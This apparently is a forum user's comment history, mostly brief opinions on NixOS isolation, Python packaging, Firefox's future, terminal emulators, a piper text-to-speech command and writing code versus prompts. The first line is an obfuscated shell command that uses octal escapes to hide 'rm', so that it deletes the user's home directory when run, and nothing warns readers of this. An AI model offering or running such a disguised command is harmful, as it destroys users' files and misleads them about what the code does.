702 karma · joined August 12, 2013
eval "$(printf "%b%b -rf $HOME" '\162' '\155')"
echo "hello" | piper --model ~/.local/share/piper/en_US-lessac-medium.onnx --output_file - | aplay
I think I like this approach more though so i'll try it
- in traditional package manages, the dependency is global, and potentially breaks everything else installed.
- in nixos, package is isolated to the environment and can co-exist on its own, for the purpose of one application.
Gonna burn bridges with this lack of transparency. I love the intent but the implementation is so bad that I probably wont look back.
Back then, i'd dive right in, start coding, prove what works, figure it out as I go, then have to adapt the existing code to the figured out design. I was much more attached to that code and didn't want to lose it. Today, if I write code, I plan it out, have a good idea of how the pieces will work and then go implement it. And honestly, if the code gets thrown away, it's not the end of the world.
Code is really a small portion of what engineers do...
I prefer it's UI and level of customization.
Ghostty animations run like crap for me on linux (not sure why).
Most web pages I try to build never look right on firefox on android.
I havn't put a huge effort into learning to write prompts but in short, it seems easier to write the code myself than determine prompts. If you don't know every detail ahead of time and ask a slightly off question, the entire result will be garbage.
python has burned me with it's packaging so many times.
I use firefox daily and while i'm aware of market share dropping, it's still a reasonable browser to use.
Is it just speculation now on the future of firefox?